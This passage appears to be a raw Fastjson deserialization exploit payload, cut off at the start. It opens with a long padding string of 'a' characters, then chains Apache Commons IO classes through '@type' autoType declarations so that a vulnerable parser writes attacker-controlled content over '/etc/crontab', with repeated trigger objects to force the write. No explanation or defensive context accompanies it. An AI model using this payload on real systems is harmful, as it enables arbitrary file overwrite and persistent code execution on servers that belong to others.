aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "branch": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.output.WriterOutputStream", "writer": { "@type": "org.apache.commons.io.output.FileWriterWithEncoding", "file": "/etc/crontab", "encoding": "UTF-8", "append": false }, "charsetName": "UTF-8", "bufferSize": 1024, "writeImmediately": true }, "trigger": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.XmlStreamReader", "is": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "$ref": "$.input" }, "branch": { "$ref": "$.branch" }, "closeBranch": true }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "UTF-8" }, "trigger2": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.XmlStreamReader", "is": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "$ref": "$.input" }, "branch": { "$ref": "$.branch" }, "closeBranch": true }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "UTF-8" }, "trigger3": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.XmlStreamReader", "is": { "@type": "org.apache.commons.io.input.TeeInputStream", "input": { "$ref": "$.input" }, "branch": { "$ref": "$.branch" }, "closeBranch": true }, "httpContentType": "text/xml", "lenient": false, "defaultEncoding": "UTF-8" } } } }
|